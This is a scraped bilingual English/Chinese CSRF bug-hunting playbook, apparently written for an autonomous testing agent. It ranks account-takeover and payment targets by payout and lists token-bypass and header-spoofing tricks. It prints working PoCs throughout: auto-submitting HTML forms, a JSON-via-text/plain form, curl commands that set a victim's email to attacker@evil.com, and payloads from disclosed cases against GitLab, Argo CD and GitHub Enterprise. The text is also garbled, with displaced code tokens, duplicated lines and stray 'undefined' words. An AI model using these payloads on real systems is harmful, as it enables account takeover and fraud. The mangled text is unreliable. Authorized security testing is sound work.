hunt-csrf
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseShortcut: a raw HTTP client beats a real cross-origin page for header-check CSRF
快捷方法:对于基于请求头检查的 CSRF,原始 HTTP 客户端优于真正的跨源页面
A raw HTTP client (curl, Burp Repeater, any scripting client) is not a browser: it will send
whatever / header VALUE you set, from any path, on the same connection as your
authenticated cookie. Many apps that claim to defend against CSRF only do a naive string check
on the incoming / header (does it contain/equal some expected value?) rather than
real same-origin enforcement — you can satisfy that check directly by setting the header, with no
actual cross-site delivery (hosting an HTML page, a headless browser) required. This is faster and
more reliable than building a real attacker page for this exact pattern:
OriginRefererOriginRefererPOST /profile HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://a-domain-the-app-treats-as-trusted-or-attacker-controlled.example
Cookie: <authenticated session>
username=csrf_pocIf some text names a SPECIFIC origin/domain as the "expected" attacker page, that literal value is
often exactly what the server's check is looking for — try it verbatim in (fall back to
if alone doesn't flip it). Only build a real cross-origin page (actual browser
delivery) when the target does genuine SameSite/fetch-based origin enforcement that a spoofed header
can't satisfy.
OriginRefererOrigin原始 HTTP 客户端(curl、Burp Repeater、任意脚本客户端)并非浏览器:它会在任意路径上,通过携带已认证 cookie 的同一连接,发送你设置的任意 / 请求头值。许多声称可防御 CSRF 的应用,实际上只是对传入的 / 请求头进行朴素的 字符串检查(是否包含或等于某个预期值?),而非真正执行同源约束——你可以直接设置请求头来满足该检查,完全不需要真正进行跨站投递(托管 HTML 页面、使用无头浏览器)。对于这一特定模式,这比构建真正的攻击者页面更快、更可靠:
OriginRefererOriginRefererPOST /profile HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://a-domain-the-app-treats-as-trusted-or-attacker-controlled.example
Cookie: <authenticated session>
username=csrf_poc如果某些文本将特定的 origin/domain 描述为“预期的”攻击者页面,该字面值通常正是服务器检查所寻找的内容——逐字将其放入 中尝试(若仅 不够,则改用 )。只有在目标实施真正的 SameSite/fetch-based origin enforcement、无法通过伪造请求头满足时,才构建真正的跨源页面(由浏览器实际投递)。
OriginOriginRefererAutonomous Testing Priority
自主测试优先级
CSRF only matters on state-changing actions that a browser could be tricked into making cross-site.
Testing flow:
- GET the form endpoint to establish a baseline and check what fields exist (look for hidden ,
csrf_token,authenticity_token,_tokenfields).csrfmiddlewaretoken - POST the state-changing action without any CSRF token field. Send only the functional parameters (email, amount, etc.).
- Use a "simple-request" Content-Type — ,
application/x-www-form-urlencoded, ORmultipart/form-dataare the three CORS "simple" content-types a cross-origin form can send with no preflight. A JSON endpoint is CSRF-resistant only if the server rejects those — if it also accepts atext/plainbody (common), craft atext/plainpayload that parses as valid JSON (see the JSON-CSRF-via-text/plain section). Don't skip a JSON endpoint on the assumption thattext/plainalone is protective.application/json - If the action succeeds (2xx, no "invalid token" error) → CSRF is confirmed.
High-value targets (in order of impact):
- Email/password change → account takeover
- Money transfer or payment → financial fraud
- Admin actions (role assignment, user deletion)
- OAuth social-account linking → persistent ATO
Token bypass techniques when a token IS present:
- Omit the token field entirely — some frameworks only validate if the field exists, not if it's absent
- Send an empty value () — some validate format, not presence
_token= - Copy a token from another session — some tokens aren't tied to the session
Scope: Don't test CSRF on login forms (no existing session to exploit), logout (no real impact), or read-only GET endpoints.
CSRF 仅在浏览器可能被诱导跨站执行的状态变更操作上才有意义。
测试流程:
- GET 表单端点以建立基线并检查存在哪些字段(查找隐藏的 、
csrf_token、authenticity_token、_token字段)。csrfmiddlewaretoken - **POST 状态变更操作且不带任何 CSRF token 字段。**仅发送功能性参数(email、amount 等)。
- 使用“简单请求”Content-Type——、
application/x-www-form-urlencoded或multipart/form-data是跨源表单无需预检即可发送的三种 CORS“简单”Content-Type。只有在服务器拒绝这些 Content-Type 时,JSON 接口才具备 CSRF 防护能力——如果它也接受text/plain正文(很常见),请构造可被解析为有效 JSON 的text/plainpayload(参见“通过 text/plain 实施 JSON-CSRF”一节)。不要仅凭text/plain就认定 JSON 接口受到保护。application/json - 如果操作成功(返回 2xx,且没有“invalid token”错误)→ CSRF 已确认。
高价值目标(按影响程度排序):
- 修改 email/password → 账户接管
- 资金转账或支付 → 金融欺诈
- 管理操作(角色分配、用户删除)
- OAuth 社交账号关联 → 持久化 ATO
Token 存在时的绕过技术:
- 完全省略 token 字段——某些框架仅在字段存在时进行验证,而字段缺失时不会验证
- 发送空值()——某些实现只验证格式,不验证是否存在
_token= - 从另一个会话复制 token——某些 token 并未与会话绑定
**范围:**不要在登录表单(没有可利用的现有会话)、logout(没有实际影响)或只读 GET 端点上测试 CSRF。
Crown Jewel Targets
最高价值目标
CSRF becomes high-value when it touches state-changing actions with account-level or financial consequences. The highest-paying targets are:
- Account takeover vectors: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens
- Authentication infrastructure: Login CSRF, session fixation via CSRF, forced account association
- API endpoints accepting cross-origin POST: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement
- Third-party integrations: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections
- Social platforms: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact
Asset types that pay most: Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.
当 CSRF 触及具有账户级或财务后果的状态变更操作时,其价值最高。收益最高的目标包括:
- 账户接管路径:OAuth/SSO 流程(RelayState 操纵)、社交账号关联或解除关联(Oculus-Facebook、SocialClub)、暴露 OAuth token 的好友导入功能
- 身份验证基础设施:Login CSRF、通过 CSRF 实现 session fixation、强制账户关联
- 接受跨源 POST 的 API 端点:JSON API、heartbeat/activity API,以及所有跳过 Content-Type enforcement 的接口
- 第三方集成:Grafana、监控仪表盘嵌入式分析——其 CSRF 防护通常滞后
- 社交平台:Twitter/X collections、好友导入、社交图谱变更——这些操作量大、需要认证,并对真实用户产生影响
**收益最高的资产类型:**核心产品认证流程 > API 网关 > 运行在子域上的第三方集成 > 管理面板。
Attack Surface Signals
攻击面信号
URL Patterns
URL 模式
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)Response Header Signals
响应头信号
undefinedundefinedMissing or weak SameSite cookie attributes
Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
Missing CSRF headers
Missing CSRF headers
No X-Frame-Options or permissive CORS
No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # dangerous combo
undefinedAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # dangerous combo
undefinedJS / DOM Patterns
JS / DOM 模式
javascript
// Static or predictable CSRF tokens
meta[name="csrf-token"] // grep if value changes across sessions
authenticity_token // Rails — check if reused across page loads
// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
// No CSRF token in form at all
<form method="POST" action="/accounts/link"> // no hidden token fieldjavascript
// Static or predictable CSRF tokens
meta[name="csrf-token"] // grep if value changes across sessions
authenticity_token // Rails — check if reused across page loads
// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
// No CSRF token in form at all
<form method="POST" action="/accounts/link"> // no hidden token fieldTech Stack Signals
技术栈信号
- Rails apps: Look for — test if it's static per session
authenticity_token - Django apps: Check — test cross-user/session reuse
csrfmiddlewaretoken - Grafana instances: CVE-2022-21703 — check version via
/api/health - SAMLv2/OIDC flows: parameter rarely validated
RelayState - Express/Node APIs: Often skip CSRF middleware on routes
/api/*
- Rails 应用:查找 ——测试其是否在同一会话内保持静态
authenticity_token - Django 应用:检查 ——测试是否可在不同用户或会话之间复用
csrfmiddlewaretoken - Grafana 实例:CVE-2022-21703——通过 检查版本
/api/health - SAMLv2/OIDC 流程:参数很少得到验证
RelayState - Express/Node API:通常在 路由上跳过 CSRF 中间件
/api/*
Step-by-Step Hunting Methodology
逐步狩猎方法
-
Map all state-changing endpoints — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.
-
Check cookie SameSite attributes — In DevTools → Application → Cookies. Flag any session cookie withoutor
SameSite=Strict.Lax -
Test token staticness — Log in twice (different sessions or incognito). Compare/
authenticity_token/csrfmiddlewaretokenvalues across:csrf-token- Same session, different page loads (should be different)
- Different sessions for same user
- Different users entirely
-
Test token omission — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.
-
Test token substitution — Replace the token with one from a different session. Server accepting it = broken validation.
-
Test JSON endpoints for form-POST CSRF — Check if Content-Type is enforced:
- Send to a JSON endpoint
application/x-www-form-urlencoded - Send with a JSON body
text/plain - If accepted, HTML form can trigger it cross-origin
- Send
-
Hunt OAuth/SSO RelayState — Intercept SAML/OIDC flows. Test ifis validated for same-origin. Inject external URLs.
RelayState -
Check social linking flows — Every "connect your X account" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.
-
Test third-party dashboards on subdomains — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.
-
Build PoC HTML page — Host on a different origin, fire the request, confirm cookies are sent and action executes.
-
映射所有状态变更端点——爬取已认证会话,筛选 POST/PUT/DELETE/PATCH。记录每个表单和 AJAX 调用。
-
检查 cookie 的 SameSite 属性——在 DevTools → Application → Cookies 中操作。标记任何未设置或
SameSite=Strict的会话 cookie。Lax -
测试 token 的静态性——登录两次(使用不同会话或无痕模式),比较以下 token 在各类情况下的值:/
authenticity_token/csrfmiddlewaretoken:csrf-token- 同一会话的不同页面加载(应当不同)
- 同一用户的不同会话
- 完全不同的用户
-
测试 token omission——从 POST 请求中完全删除 CSRF token 字段。如果服务器返回 200,则存在 CSRF。
-
测试 token substitution——将 token 替换为另一个会话中的 token。服务器接受该 token 意味着验证机制失效。
-
测试 JSON 端点上的表单 POST CSRF——检查是否强制执行 Content-Type:
- 向 JSON 端点发送
application/x-www-form-urlencoded - 使用 发送 JSON 正文
text/plain - 如果请求被接受,HTML 表单即可跨源触发该请求
- 向 JSON 端点发送
-
狩猎 OAuth/SSO RelayState——拦截 SAML/OIDC 流程。测试是否针对同源进行了验证。注入外部 URL。
RelayState -
检查社交账号关联流程——检查每一项“连接你的 X 账号”功能。这些功能通常使用基于重定向的 OAuth,回调处的 CSRF 可将攻击者的社交账号关联到受害者账户。
-
测试子域上的第三方仪表盘——Grafana、Kibana、Prometheus。检查版本、应用已知 CVE,并测试默认 CSRF 防护状态。
-
构建 PoC HTML 页面——托管在不同源上,触发请求,确认 cookie 被发送且操作成功执行。
Payload & Detection Patterns
Payload 与检测模式
Basic CSRF PoC (Form POST)
基础 CSRF PoC(表单 POST)
html
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/v1/account/link">
<input type="hidden" name="provider" value="attacker_account_id" />
<input type="hidden" name="token" value="oauth_token_here" />
</form>
</body>
</html>html
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/v1/account/link">
<input type="hidden" name="provider" value="attacker_account_id" />
<input type="hidden" name="token" value="oauth_token_here" />
</form>
</body>
</html>JSON CSRF via text/plain (bypasses Content-Type check)
通过 text/plain 实施 JSON CSRF(绕过 Content-Type 检查)
html
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/heartbeat"
enctype="text/plain">
<!-- browser sends: {"status":"ok","x":"=padding"} -->
<input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
</form>
</body>
</html>html
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/heartbeat"
enctype="text/plain">
<!-- browser sends: {"status":"ok","x":"=padding"} -->
<input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
</form>
</body>
</html>curl: Test CSRF token omission
curl:测试 CSRF token omission
bash
undefinedbash
undefinedCapture a valid request, then replay without token
Capture a valid request, then replay without token
curl -s -X POST https://target.com/settings/email
-H "Cookie: session=YOUR_SESSION"
-d "email=attacker@evil.com"
-v 2>&1 | grep -E "HTTP|location|error"
-H "Cookie: session=YOUR_SESSION"
-d "email=attacker@evil.com"
-v 2>&1 | grep -E "HTTP|location|error"
undefinedcurl -s -X POST https://target.com/settings/email
-H "Cookie: session=YOUR_SESSION"
-d "email=attacker@evil.com"
-v 2>&1 | grep -E "HTTP|location|error"
-H "Cookie: session=YOUR_SESSION"
-d "email=attacker@evil.com"
-v 2>&1 | grep -E "HTTP|location|error"
undefinedcurl: Test token reuse across sessions
curl:测试 token 在不同会话间复用
bash
undefinedbash
undefinedGet token from session A
Get token from session A
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A"
| grep -oP 'authenticity_token[^"]*value="\K[^"]+')
| grep -oP 'authenticity_token[^"]*value="\K[^"]+')
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A"
| grep -oP 'authenticity_token[^"]*value="\K[^"]+')
| grep -oP 'authenticity_token[^"]*value="\K[^"]+')
Use token A in session B's request
Use token A in session B's request
curl -s -X POST https://target.com/settings/update
-H "Cookie: session=SESSION_B"
-d "authenticity_token=$TOKEN_A&email=test@test.com"
-v
-H "Cookie: session=SESSION_B"
-d "authenticity_token=$TOKEN_A&email=test@test.com"
-v
undefinedcurl -s -X POST https://target.com/settings/update
-H "Cookie: session=SESSION_B"
-d "authenticity_token=$TOKEN_A&email=test@test.com"
-v
-H "Cookie: session=SESSION_B"
-d "authenticity_token=$TOKEN_A&email=test@test.com"
-v
undefinedGrep patterns for recon
用于侦察的 Grep 模式
bash
undefinedbash
undefinedFind CSRF token fields in HTML responses
Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
Find forms without CSRF tokens
Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf|token|nonce"
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf|token|nonce"
Check SameSite in response headers
Check SameSite in response headers
curl -sI https://target.com/login | grep -i "set-cookie"
curl -sI https://target.com/login | grep -i "set-cookie"
Find RelayState parameters
Find RelayState parameters
grep -r "RelayState" --include="*.js" .
undefinedgrep -r "RelayState" --include="*.js" .
undefinedGrafana CVE-2022-21703 version check
Grafana CVE-2022-21703 版本检查
bash
curl -s https://monitoring.target.com/api/health | jq '.version'bash
curl -s https://monitoring.target.com/api/health | jq '.version'Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15
Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15
---
---Common Root Causes
常见根因
-
Static CSRF tokens per session — Developers generate one token at login and reuse it. Airbnb bug:was the same across all page loads for a session, making it trivially leakable.
authenticity_token -
Token not tied to user identity — Token is valid server-wide or rotates on a schedule, not per-user/session. Mozilla bug:reusable across users.
csrftoken -
Missing token on "secondary" endpoints — Developers protect login/signup but forget API endpoints, import flows, or webhook handlers.
-
JSON API assumption of safety — Belief thatprevents CSRF. It does via CORS preflight — unless the server also accepts
Content-Type: application/jsonortext/plain.application/x-www-form-urlencoded -
SameSite=None for cross-site embeds — Developers setto support iframe embeds or third-party integrations, inadvertently re-enabling CSRF.
SameSite=None -
OAuth RelayState not validated — Developers implement SAML/OIDC but treatas a redirect hint, not a CSRF state parameter requiring cryptographic binding.
RelayState -
Framework misconfiguration — CSRF middleware excluded forroutes in Django/Rails because "API clients don't need it," but browser-based JS clients do.
/api/* -
Third-party software defaults — Grafana, Kibana, Jenkins shipped with weak or no CSRF protection in older versions; teams don't patch or check.
-
每个会话使用静态 CSRF token——开发者在登录时生成一个 token 并持续复用。Airbnb bug:在一个会话的所有页面加载中保持相同,导致其极易泄露。
authenticity_token -
Token 未与用户身份绑定——Token 在服务器端全局有效或按计划轮换,而不是按用户或会话生成。Mozilla bug:可在不同用户之间复用。
csrftoken -
“次要”端点缺少 token——开发者保护了登录或注册功能,却忽略了 API 端点、导入流程或 webhook handler。
-
JSON API 的安全性假设——误以为可以阻止 CSRF。实际上,它会通过 CORS preflight 阻止请求——除非服务器同时接受
Content-Type: application/json或text/plain。application/x-www-form-urlencoded -
为支持跨站嵌入而设置 SameSite=None——开发者为了支持 iframe 嵌入或第三方集成而设置,无意中重新启用了 CSRF。
SameSite=None -
未验证 OAuth RelayState——开发者实现了 SAML/OIDC,却仅将视为重定向提示,而不是需要加密绑定的 CSRF state 参数。
RelayState -
框架误配置——在 Django/Rails 中将路由排除在 CSRF 中间件之外,理由是“API 客户端不需要它”,但基于浏览器的 JS 客户端同样需要保护。
/api/* -
第三方软件的默认配置——旧版 Grafana、Kibana、Jenkins 出厂时仅提供薄弱或完全不存在的 CSRF 防护;相关团队未及时打补丁或进行检查。
Bypass Techniques
绕过技术
Defense: SameSite=Lax cookies
防御:SameSite=Lax cookies
Bypass: Top-level navigation GET requests still work. If the sensitive action can be triggered via GET (or if a redirect chain converts POST→GET), Lax doesn't protect it. Also: subdomains can still set cookies for parent domain.
**绕过:**顶级导航 GET 请求仍然有效。如果敏感操作可以通过 GET 触发,或者重定向链会将 POST 转换为 GET,Lax 就不具备保护作用。此外,子域仍然可以为父域设置 cookie。
Defense: CSRF token present
防御:存在 CSRF token
Bypasses:
- Token is static per session — steal via XSS, Referer leakage, or cached page
- Token not validated server-side — just remove it and try
- Token validated by length/format only — submit a fake but correctly-formatted value
- Token tied to session but session is predictable
绕过方式:
- Token 在每个会话中保持静态——可通过 XSS、Referer 泄露或缓存页面窃取
- Token 未在服务器端验证——直接将其移除后重试
- 仅验证 token 的长度或格式——提交一个格式正确但伪造的值
- Token 与会话绑定,但会话 ID 可预测
Defense: Content-Type: application/json
enforcement
Content-Type: application/json防御:强制执行 Content-Type: application/json
Content-Type: application/jsonBypass: Use enctype with crafted form input names that produce valid JSON. Server receives JSON body, skips CORS preflight.
text/plain**绕过:**使用 enctype,并精心构造能够生成有效 JSON 的表单 input name。服务器收到 JSON 正文后会跳过 CORS preflight。
text/plainDefense: Referer/Origin header check
防御:Referer/Origin 请求头检查
Bypasses:
- Null Origin: use sandboxed iframe ()
<iframe sandbox="allow-scripts allow-forms"> - Subdomain bypass: if is trusted and you have XSS on any subdomain
*.target.com - Referer stripping: HTTPS→HTTP transitions strip Referer header
- Weak matching: passes naive string matching
target.com.evil.com
绕过方式:
- Null Origin:使用 sandboxed iframe()
<iframe sandbox="allow-scripts allow-forms"> - 子域绕过:如果 被信任,且任意子域上存在 XSS
*.target.com - Referer stripping:从 HTTPS 跳转到 HTTP 时会移除 Referer 请求头
- 弱匹配:可以通过朴素的字符串匹配
target.com.evil.com
Defense: Double-submit cookie pattern
防御:Double-submit cookie 模式
Bypass: If attacker can set cookies (subdomain takeover, cookie injection via HTTP), they can set both the cookie and the form field to matching attacker-controlled values.
**绕过:**如果攻击者能够设置 cookie(子域接管、通过 HTTP 注入 cookie),则可以同时设置 cookie 和表单字段,使二者匹配并由攻击者控制。
Defense: Custom request header (e.g., X-Requested-With
)
X-Requested-With防御:自定义请求头(例如 X-Requested-With
)
X-Requested-WithBypass: Simple requests (form POST, ) don't trigger preflight and can't set custom headers — but some servers only check for header presence, not value, and some frameworks accept requests without it.
text/plain**绕过:**简单请求(表单 POST、)不会触发 preflight,也无法设置自定义请求头——但某些服务器只检查该头是否存在,而不检查其值;某些框架甚至会接受完全不带该头的请求。
text/plainMobile-app CSRF via custom-scheme deeplink
通过 custom-scheme deeplink 在移动应用上实施 CSRF
CSRF is not browser-only. For targets with a mobile app, enumerate exported deeplink / custom-scheme handlers ( from the Android manifest / iOS ) and test whether opening one performs a state-changing action (follow, link, purchase) using the app's ambient session with no CSRF token — deliverable to a victim by a plain link or a QR code. Disclosed: reports/583987, reports/805073.
scheme://actionInfo.plistCSRF 并非浏览器专属问题。对于具有移动应用的目标,枚举导出的 deeplink/custom-scheme handler(来自 Android manifest 或 iOS 的 ),并测试打开 deeplink 时,是否会使用应用的 ambient session 执行状态变更操作(follow、link、purchase),且无需 CSRF token——可通过普通链接或 QR code 交付给受害者。已披露案例:reports/583987、reports/805073。
Info.plistscheme://actionGate 0 Validation
Gate 0 验证
-
What can the attacker DO right now? — The attacker must be able to trigger a specific state-changing action (account linking, email change, data deletion, social association) on behalf of the victim without any interaction beyond visiting a URL or page.
-
What does the victim LOSE? — Identify the concrete harm: account access (ATO), data exposure, financial loss, reputation damage. "A CSRF token is missing" is not impact — "attacker can link their Oculus account to victim's Facebook account, gaining full profile access" is impact.
-
Can it be reproduced in 10 minutes from scratch? — You must be able to: (a) create attacker and victim accounts, (b) host a static HTML PoC, (c) have victim visit PoC, (d) confirm the action executed in victim's account — all within 10 minutes with no additional prerequisites.
-
攻击者现在能做什么?——攻击者必须能够代表受害者触发特定的状态变更操作(账户关联、修改邮箱、删除数据、社交账号关联),且受害者除了访问某个 URL 或页面之外无需进行任何交互。
-
受害者会损失什么?——确定具体危害:账户访问权限(ATO)、数据泄露、经济损失、声誉损害。“缺少 CSRF token”本身不是影响;“攻击者可以将其 Oculus 账号关联到受害者的 Facebook 账号,从而获得完整的资料访问权限”才是影响。
-
能否在 10 分钟内从头复现?——必须能够:(a) 创建攻击者和受害者账号,(b) 托管静态 HTML PoC,(c) 让受害者访问 PoC,(d) 确认操作已在受害者账号中执行——所有步骤均须在 10 分钟内完成,且不需要其他前置条件。
Real Impact Examples
真实影响案例
Scenario 1: Social Account Takeover via Import Friends (Rockstar Games)
场景 1:通过导入好友实施社交账号接管(Rockstar Games)
An attacker crafted a malicious page targeting the "Import Friends" OAuth integration. When an authenticated SocialClub user visited the page, the CSRF triggered the OAuth token exchange with an attacker-controlled social account. The victim's SocialClub account became permanently linked to the attacker's Facebook/social identity, enabling full account access without the victim's knowledge. Rated high severity due to complete account compromise path.
攻击者制作了一个针对“Import Friends”OAuth 集成的恶意页面。当已登录的 SocialClub 用户访问该页面时,CSRF 会使用攻击者控制的社交账号触发 OAuth token exchange。受害者的 SocialClub 账号被永久关联到攻击者的 Facebook 或其他社交身份,使攻击者能够在受害者不知情的情况下获得完整的账户访问权限。由于存在完整的账户接管路径,该漏洞被评为高严重性。
Scenario 2: Facebook Account Hijacking via Oculus Integration CSRF
场景 2:通过 Oculus 集成 CSRF 接管 Facebook 账号
During Oculus-Facebook account linking, the OAuth callback lacked proper CSRF state validation. An attacker could craft a URL that, when loaded by an authenticated Facebook user who had started the Oculus linking flow, would associate the attacker's Oculus device credentials with the victim's Facebook account. The attacker then had persistent access to the victim's Facebook profile through the Oculus app. The attack required only that the victim click a link while logged into Facebook.
在 Oculus-Facebook 账号关联过程中,OAuth callback 缺少正确的 CSRF state 验证。攻击者可以构造一个 URL;当已登录 Facebook 且已启动 Oculus 关联流程的用户加载该 URL 时,攻击者的 Oculus 设备凭据会关联到受害者的 Facebook 账号。此后,攻击者可以通过 Oculus 应用持续访问受害者的 Facebook 资料。攻击只要求受害者在登录 Facebook 的情况下点击一个链接。
Scenario 3: JSON API CSRF on Heartbeat/Activity Tracking
场景 3:针对 heartbeat/activity tracking 的 JSON API CSRF
A POST endpoint accepting was assumed CSRF-safe by developers. A researcher crafted an HTML form using with an input name designed to produce syntactically valid JSON when submitted. The browser sent the request cross-origin without a preflight (no custom headers, is a simple request), cookies were attached, and the server processed the JSON body as legitimate — silently logging attacker-controlled activity data under the victim's account identity.
application/jsonenctype="text/plain"text/plain开发者假设接受 的 POST 端点不受 CSRF 影响。一名研究人员使用 制作 HTML 表单,并设计 input name,使浏览器提交时生成语法有效的 JSON。浏览器在跨源发送请求时未触发 preflight(没有自定义请求头, 属于简单请求),cookie 被一并附带,服务器将 JSON 正文作为合法请求处理——最终在受害者账号身份下静默记录了攻击者控制的活动数据。
application/jsonenctype="text/plain"text/plainDisclosed Report Citations (Backfill +5 — 2020-2024)
已披露报告引用(补充 5 个——2020-2024)
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Four cases chain CSRF to full ATO; all five are modern (SameSite-era).
-
Argo CD — SameSite=Lax bypass via sibling subdomain + Content-Type abuse (CVE-2024-22424) (GHSA-92mw-q256-5vwg · Writeup)
- Subclass: SameSite=None/Lax misconfig chain — same parent-domain bypass + JSON CSRF via missing Content-Type enforcement
- Payload: hosted on , target
marketing.victim.com→argocd.internal.victim.comfetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'}) - Root cause: Argo CD did not enforce , and SameSite=Lax is moot when the attacker controls any sibling subdomain of the shared parent
Content-Type: application/json - Year: 2023 reported, fixed Jan 2024 in 2.7.16/2.8.8/2.9.4
-
GitLab — CSRF onvia GET-converted mutations (H1 #1122408)
/api/graphql- Subclass: GET-state-changing endpoint (GraphQL mutations through GET requests)
- Payload:
<img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}"> - Root cause: backend skipped validation when the HTTP method was GET; GraphQL accepted mutations via
X-CSRF-Tokenquery string?query=mutation{...} - Year: 2021 — $3,370
-
Stripe Dashboard — CSRF middleware disabled by code change (H1 #1483327)
- Subclass: framework misconfiguration — middleware globally disabled
- Payload: + auto-submit script
<form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form> - Root cause: 2022-02-14 deploy inadvertently turned off CSRF middleware across all Stripe Dashboard endpoints
- Year: 2022 — $5,000 ($2,500 × 2 researchers)
-
GitHub Enterprise Server — CSRF bypass via path traversal (CVE-2022-23732) (H1 #1497169)
- Subclass: CSRF token validation bypass (path traversal smuggles request past token check)
- Payload:
<form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form> - Root cause: router matched the post-traversal path for execution but pre-traversal path for CSRF-protection scope, so the protected endpoint was reached without a valid token
- Year: 2022 — $10,000
-
HackerOne self — CSRF on social account linking → ATO (H1 #1727221)
- Subclass: account-link CSRF (social provider attach without state binding)
- Payload: — victim's browser completes attacker-initiated link flow
<img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE"> - Root cause: token bound to OAuth-link callback was either reused across attempts or not user-bound, so attacker-issued link callbacks were accepted on the victim's session — attacker's Google account becomes a valid login path = ATO
- Year: 2022 — informational scope on H1 self-program, but public PoC
以下真实且经过验证的漏洞赏金或协同披露案例扩展了本 skill。其中四个案例将 CSRF 链入完整 ATO;五个案例均属于现代 SameSite 时代。
-
Argo CD——通过同级子域和 Content-Type 滥用绕过 SameSite=Lax(CVE-2024-22424)(GHSA-92mw-q256-5vwg · Writeup)
- 子类:SameSite=None/Lax 误配置链——同一父域绕过,加上因缺少 Content-Type 强制检查而产生的 JSON CSRF
- Payload:托管在 ,目标为
marketing.victim.com→argocd.internal.victim.comfetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{\"metadata\":{\"name\":\"pwn\"},\"spec\":{\"source\":{\"repoURL\":\"https://attacker/manifest.git\"}}}') - 根因:Argo CD 未强制执行 ;当攻击者控制共享父域的任意同级子域时,SameSite=Lax 无法提供保护
Content-Type: application/json - 年份:2023 年报告,2024 年 1 月在 2.7.16/2.8.8/2.9.4 中修复
-
GitLab——通过 GET 转换 mutations,在上实施 CSRF(H1 #1122408)
/api/graphql- 子类:GET 状态变更端点(通过 GET 请求发起 GraphQL mutations)
- Payload:
<img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}"> - 根因:HTTP 方法为 GET 时,后端跳过了 验证;GraphQL 接受通过
X-CSRF-Token查询字符串发起 mutations?query=mutation{...} - 年份:2021 年——$3,370
-
Stripe Dashboard——代码变更导致 CSRF 中间件被禁用(H1 #1483327)
- 子类:框架误配置——中间件被全局禁用
- Payload:+ auto-submit script
<form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form> - 根因:2022-02-14 的部署意外关闭了所有 Stripe Dashboard 端点上的 CSRF 中间件
- 年份:2022 年——$5,000($2,500 × 2 名研究人员)
-
GitHub Enterprise Server——通过路径遍历绕过 CSRF(CVE-2022-23732)(H1 #1497169)
- 子类:CSRF token 验证绕过(通过路径遍历将请求 smuggle 到 token 检查之外)
- Payload:
<form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form> - 根因:路由在执行时匹配路径遍历后的路径,但在确定 CSRF 保护范围时使用遍历前的路径,导致受保护端点可在没有有效 token 的情况下被访问
- 年份:2022 年——$10,000
-
HackerOne 自身——社交账号关联处的 CSRF 导致 ATO(H1 #1727221)
- 子类:账户关联 CSRF(未绑定 state 的社交 provider 附加操作)
- Payload:——受害者的浏览器完成攻击者发起的关联流程
<img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE"> - 根因:OAuth 关联 callback 的 token 要么在不同尝试间复用,要么未与用户绑定,因此攻击者发起的关联 callback 会在受害者会话中被接受——攻击者的 Google 账号由此成为有效的登录路径,即 ATO
